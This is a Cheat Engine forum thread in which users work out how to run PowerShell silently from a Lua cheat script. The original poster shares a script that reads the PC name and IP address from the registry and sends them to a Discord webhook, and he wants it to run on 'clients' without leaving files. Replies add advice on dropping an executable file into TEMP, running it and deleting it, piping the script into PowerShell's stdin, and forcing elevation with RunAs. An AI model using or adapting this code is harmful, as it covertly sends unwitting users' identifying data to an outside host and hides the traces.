Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


PowerShell

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> Cheat Engine Lua Scripting
View previous topic :: View next topic  
Author Message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Wed Mar 24, 2021 9:06 am    Post subject: PowerShell Reply with quote

is there anyway i can execute a powershell script in lua?
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
ByTransient
Expert Cheater
Reputation: 5

Joined: 05 Sep 2020
Posts: 240

PostPosted: Wed Mar 24, 2021 12:07 pm    Post subject: Reply with quote

https://forum.cheatengine.org/viewtopic.php?t=617321

You can find more in the code on the link.
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Wed Mar 24, 2021 2:58 pm    Post subject: Reply with quote

unfortunately this executes only 1 lines of code, I am trying to execute a script but without saving it
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Thu Mar 25, 2021 4:09 pm    Post subject: Reply with quote

Welp Sad
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
ByTransient
Expert Cheater
Reputation: 5

Joined: 05 Sep 2020
Posts: 240

PostPosted: Fri Mar 26, 2021 7:00 am    Post subject: Reply with quote

Maybe you can do a search to activate the basic programs of Windows with "executeLocalEx".

Or, you can simulate "CMD" or "PowerSell" prompts with "os.execute".
Code:
os.execute([[...]])


My advice to you; If you can activate your code with any file extension (".bat", ".vbs", ".html"), download it to your TEMP folder and delete it after activation.

Here's some create and enable example as well.

https://forum.cheatengine.org/viewtopic.php?t=610493

Here are some examples of download, activate and delete.

Path;

Code:
local pth1=(os.getenv("TEMP"))
--If the file to be activated (CE) is in the table;
local file1="Sample.bat"
pthEnd=(pth1.."\\"..file1)
--Save to load file;
findTableFile(file1).saveToFile(pth1..'\\'..file1)
--Active file;
shellExecute(pthEnd)
--remove file;
os.remove(pth1..'\\'..file1)


Last edited by ByTransient on Sun Mar 28, 2021 3:40 pm; edited 1 time in total
Back to top
View user's profile Send private message
Corroder
Grandmaster Cheater Supreme
Reputation: 75

Joined: 10 Apr 2015
Posts: 1667

PostPosted: Sat Mar 27, 2021 12:07 am    Post subject: Reply with quote

Example to run power script at the run time (tested on Windows 7 64bit Ultimate):

Code:
-- Your powershell script example:
local script = [[
Write-Host "Hello, World!"
]]

-- Create powershell process and feed your script to its stdin
local pipe = io.popen("powershell -command -", "w")
pipe:write(script)
pipe:close()

_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Sun Mar 28, 2021 2:27 pm    Post subject: Reply with quote

Sorry for late response, I had exams...
anyways i tried this script but it didnt work
Code:

local script = [[
$content = ""
$RegKey = (Get-ItemProperty 'HKCU:\SOFTWARE\Oxygen')

$RegKey.PSObject.Properties | ForEach-Object {
if($_.Name.StartsWith("PCNAME"))
{

    $a = [string]::new([char[\]\]$_.Value)
    $content = $content + "User : ``" + $a + "``"
}
if($_.Name.StartsWith("PCIP"))
{

    $b = [string]::new([char[\]\]$_.Value)
    $content = $content + "`r`nIP : ``" + $b + "`` `r`n"
}

}


$hookUrl = "https://discord.com/api/webhooks/????????????????????????/??????????????????????????????????????????"



$payload = [PSCustomObject]@{

    content = $content

}
Invoke-RestMethod -Uri $hookUrl -Method Post -Body ($payload | ConvertTo-Json) -ContentType 'Application/Json'
]]

local pipe = io.popen("powershell -command -", "w")
pipe:write(script)
pipe:close()

in powershell it works just fine.
and I am trying not to save the file on the clients folders, I hope there is a solution

_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
Corroder
Grandmaster Cheater Supreme
Reputation: 75

Joined: 10 Apr 2015
Posts: 1667

PostPosted: Sun Mar 28, 2021 11:48 pm    Post subject: Reply with quote

Or

Code:
function doStartProcess(programWithParams)
   local psCmd = '"powershell.exe -Command "Start-Process cmd " -ArgumentList "/c", "\'' .. programWithParams .. '\'" -Verb RunAs -Wait"'
   os.execute(psCmd)
end


or save your power shell script as ps1 script somewhere and invoke them using os.execute()

Code:
os.execute("powershellscript.ps1")

_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Tue Mar 30, 2021 4:07 am    Post subject: Reply with quote

Code:

os.execute("powershellscript.ps1")

this worked ty Corroder and ByTransient

_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> Cheat Engine Lua Scripting All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites